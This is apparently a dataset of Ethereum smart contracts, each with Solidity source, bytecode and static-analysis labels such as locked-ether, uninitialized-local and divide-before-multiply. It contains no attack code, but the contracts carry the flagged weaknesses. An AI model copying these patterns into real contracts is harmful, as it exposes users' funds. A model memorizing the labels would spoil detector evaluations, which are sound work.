return totalSupply; } /** * @dev Get balance of a token owner * @param _owner The address which one owns tokens */ function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } /** * @notice This function is modified for erc223 standard * @dev ERC20 transfer function added for backward compatibility. * @param _to Address of token receiver * @param _value Number of tokens to send */ function transfer(address _to, uint _value) public returns (bool success) { bytes memory empty = hex"00000000"; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev ERC223 transfer function * @param _to Address of token receiver * @param _value Number of tokens to send * @param _data Data equivalent to tx.data from ethereum transaction */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function which is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function which is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) external returns (bool success) { allowance[msg.sender][_spender] = 0; // mitigate the race condition allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner Address The address which owns the funds. * @param _spender Address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) external constant returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Function to distribute tokens to the list of addresses by the provided uniform amount * @param _addresses List of addresses * @param _amount Uniform amount of tokens */ function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) { uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); emit Transfer(msg.sender, _addresses[j], _amount); } return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided various amount * @param _addresses List of addresses * @param _amounts List of token amounts */ function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) { uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amounts[j]); balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); emit Transfer(msg.sender, _addresses[j], _amounts[j]); } return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { _burn(msg.sender, _value); } function _burn(address _owner, uint256 _value) internal { require(_value <= balances[_owner]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_owner] = balances[_owner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_owner, _value); emit Transfer(_owner, address(0), _value); } /** * @dev Default payable function executed after receiving ether */ function () public payable { // does not accept ether } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e7578063095ea7b31461017157806318160ddd146101a95780631e89d545146101d057806323b872dd1461025e57806327e235e314610288578063313ce567146102a957806342966c68146102d457806370a08231146102ec5780638da5cb5b1461030d57806395d89b411461033e578063a16a317914610353578063a9059cbb146103aa578063be45fd62146103ce578063dd62ed3e14610437578063f2fde38b1461045e575b005b3480156100f357600080fd5b506100fc61047f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013657818101518382015260200161011e565b50505050905090810190601f1680156101635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017d57600080fd5b50610195600160a060020a0360043516602435610514565b604080519115158252519081900360200190f35b3480156101b557600080fd5b506101be61057b565b60408051918252519081900360200190f35b3480156101dc57600080fd5b506040805160206004803580820135838102808601850190965280855261019595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105819650505050505050565b34801561026a57600080fd5b50610195600160a060020a036004358116906024351660443561073f565b34801561029457600080fd5b506101be600160a060020a036004351661083b565b3480156102b557600080fd5b506102be61084d565b6040805160ff9092168252519081900360200190f35b3480156102e057600080fd5b506100e5600435610856565b3480156102f857600080fd5b506101be600160a060020a036004351661087a565b34801561031957600080fd5b50610322610895565b60408051600160a060020a039092168252519081900360200190f35b34801561034a57600080fd5b506100fc6108a4565b34801561035f57600080fd5b50604080516020600480358082013583810280860185019096528085526101959536959394602494938501929182918501908490808284375094975050933594506109029350505050565b3480156103b657600080fd5b50610195600160a060020a0360043516602435610a1f565b3480156103da57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610195948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a699650505050505050565b34801561044357600080fd5b506101be600160a060020a0360043581169060243516610a96565b34801561046a57600080fd5b506100e5600160a060020a0360043516610ac1565b60018054604080516020601f6002600019610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60045490565b600080805b84518110156105c1576105b784828151811015156105a057fe5b60209081029091010151839063ffffffff610ae116565b9150600101610586565b336000908152600560205260409020548211156105dd57600080fd5b5060005b84518110156107345761062384828151811015156105fb57fe5b602090810290910181015133600090815260059092526040909120549063ffffffff610aee16565b3360009081526005602052604090205583516106909085908390811061064557fe5b9060200190602002015160056000888581518110151561066157fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610ae116565b6005600087848151811015156106a257fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106106d357fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611084833981519152868481518110151561070d57fe5b906020019060200201516040518082815260200191505060405180910390a36001016105e1565b506001949350505050565b600160a060020a038316600090815260056020526040812054610768908363ffffffff610aee16565b600160a060020a03808616600090815260056020526040808220939093559085168152205461079d908363ffffffff610ae116565b600160a060020a0380851660009081526005602090815260408083209490945591871681526006825282812033825290915220546107e1908363ffffffff610aee16565b600160a060020a0380861660008181526006602090815260408083203384528252918290209490945580518681529051928716939192600080516020611084833981519152929181900390910190a35060015b9392505050565b60056020526000908152604090205481565b60035460ff1690565b600054600160a060020a0316331461086d57600080fd5b6108773382610b00565b50565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a031681565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561050a5780601f106104df5761010080835404028352916020019161050a565b600080600061091b855185610bef90919063ffffffff16565b3360009081526005602052604090205490925082111561093a57600080fd5b5060005b84518110156107345733600090815260056020526040902054610967908563ffffffff610aee16565b3360009081526005602081905260408220929092558651610992928792909189908690811061066157fe5b6005600087848151811015156109a457fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106109d557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611084833981519152866040518082815260200191505060405180910390a360010161093e565b604080518082019091526004815260006020820181905290610a4084610c18565b15610a5757610a50848483610c20565b9150610a62565b610a50848483610e82565b5092915050565b6000610a7484610c18565b15610a8b57610a84848484610c20565b9050610834565b610a84848484610e82565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a03163314610ad857600080fd5b61087781611006565b8181018281101561057557fe5b600082821115610afa57fe5b50900390565b600160a060020a038216600090815260056020526040902054811115610b2557600080fd5b600160a060020a038216600090815260056020526040902054610b4e908263ffffffff610aee16565b600160a060020a038316600090815260056020526040902055600454610b7a908263ffffffff610aee16565b600455604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206110848339815191529181900360200190a35050565b6000821515610c0057506000610575565b50818102818382811515610c1057fe5b041461057557fe5b6000903b1190565b336000908152600560205260408120548190841115610c3e57600080fd5b33600090815260056020526040902054610c5e908563ffffffff610aee16565b3360009081526005602052604080822092909255600160a060020a03871681522054610c90908563ffffffff610ae116565b600160a060020a03861660008181526005602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610d2e578181015183820152602001610d16565b50505050905090810190601f168015610d5b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610d7c57600080fd5b505af1158015610d90573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd186866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e0e578181015183820152602001610df6565b50505050905090810190601f168015610e3b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518581529051600160a060020a0387169133916000805160206110848339815191529181900360200190a3506001949350505050565b33600090815260056020526040812054831115610e9e57600080fd5b33600090815260056020526040902054610ebe908463ffffffff610aee16565b3360009081526005602052604080822092909255600160a060020a03861681522054610ef0908463ffffffff610ae116565b6005600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd185856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f93578181015183820152602001610f7b565b50505050905090810190601f168015610fc05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518481529051600160a060020a0386169133916000805160206110848339815191529181900360200190a35060019392505050565b600160a060020a038116151561101b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582060990af8f41f96004eb5be247ccab08ce78a68448690aba234fb4027ebef06a20029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,684
0x6CC9feDC87010254a35239631353be387E228165
/** *Submitted for verification at Etherscan.io on 2021-08-26 */ pragma solidity ^0.5.16; // Copied from compound/InterestRateModel /** * @title DeFilend's InterestRateModel Interface * @author DeFil */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Copied from Compound/WhitePaperInterestRateModel /** * @title DeFilend's NormalInterestRateModel Contract * @author DeFil * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper */ contract NormalInterestRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) */ constructor(uint baseRatePerYear, uint multiplierPerYear) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); emit NewInterestParams(baseRatePerBlock, multiplierPerBlock); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint ur = utilizationRate(cash, borrows, reserves); return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638726bb891161005b5780638726bb8914610102578063a385fb961461010a578063b816881614610112578063f14039de146101415761007d565b806315f24053146100825780632191f92a146100bd5780636e71e2d8146100d9575b600080fd5b6100ab6004803603606081101561009857600080fd5b5080359060208101359060400135610149565b60408051918252519081900360200190f35b6100c56101a3565b604080519115158252519081900360200190f35b6100ab600480360360608110156100ef57600080fd5b50803590602081013590604001356101a8565b6100ab6101fa565b6100ab610200565b6100ab6004803603608081101561012857600080fd5b5080359060208101359060408101359060600135610207565b6100ab610286565b6000806101578585856101a8565b905061019860015461018c670de0b6b3a76400006101806000548661028c90919063ffffffff16565b9063ffffffff6102ee16565b9063ffffffff61033016565b9150505b9392505050565b600181565b6000826101b75750600061019c565b6101f26101da836101ce878763ffffffff61033016565b9063ffffffff61038a16565b61018085670de0b6b3a764000063ffffffff61028c16565b949350505050565b60005481565b6220148081565b600080610222670de0b6b3a76400008463ffffffff61038a16565b90506000610231878787610149565b90506000610251670de0b6b3a7640000610180848663ffffffff61028c16565b905061027a670de0b6b3a76400006101808361026e8c8c8c6101a8565b9063ffffffff61028c16565b98975050505050505050565b60015481565b60008261029b575060006102e8565b828202828482816102a857fe5b04146102e55760405162461bcd60e51b81526004018080602001828103825260218152602001806104c96021913960400191505060405180910390fd5b90505b92915050565b60006102e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506103cc565b6000828201838110156102e5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006102e583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f770081525061046e565b600081836104585760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561041d578181015183820152602001610405565b50505050905090810190601f16801561044a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161046457fe5b0495945050505050565b600081848411156104c05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561041d578181015183820152602001610405565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582093cd626477021757f47ae84c3fce8484e671cde6015f6cf87c2c42c014c38b5e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,685
0x7a7906FaDAc380469Fb3438763168a4a6529C321
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0 ; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "EDEXA SERVICE"; _symbol = "EDX"; _totalSupply = 1000000000 * 10 **decimals(); _balances[msg.sender] = _totalSupply; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _msgSender() internal view virtual returns (address) { return msg.sender; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `burn Address`. */ function burnFrom(uint256 amount) public { _burn(amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(uint256 amount) internal virtual { address account = _msgSender(); require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063313ce56711610066578063313ce5671461015b57806370a082311461017957806395d89b41146101a9578063a9059cbb146101c7578063dd62ed3e146101f75761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f578063274ff7ce1461013f575b600080fd5b6100ab610227565b6040516100b89190610e89565b60405180910390f35b6100db60048036038101906100d69190610c8b565b6102b9565b6040516100e89190610e6e565b60405180910390f35b6100f96102d7565b6040516101069190610fab565b60405180910390f35b61012960048036038101906101249190610c3c565b6102e1565b6040516101369190610e6e565b60405180910390f35b61015960048036038101906101549190610cc7565b6103e2565b005b6101636103ee565b6040516101709190610fc6565b60405180910390f35b610193600480360381019061018e9190610bd7565b6103f7565b6040516101a09190610fab565b60405180910390f35b6101b161043f565b6040516101be9190610e89565b60405180910390f35b6101e160048036038101906101dc9190610c8b565b6104d1565b6040516101ee9190610e6e565b60405180910390f35b610211600480360381019061020c9190610c00565b6104ef565b60405161021e9190610fab565b60405180910390f35b6060600380546102369061110f565b80601f01602080910402602001604051908101604052809291908181526020018280546102629061110f565b80156102af5780601f10610284576101008083540402835291602001916102af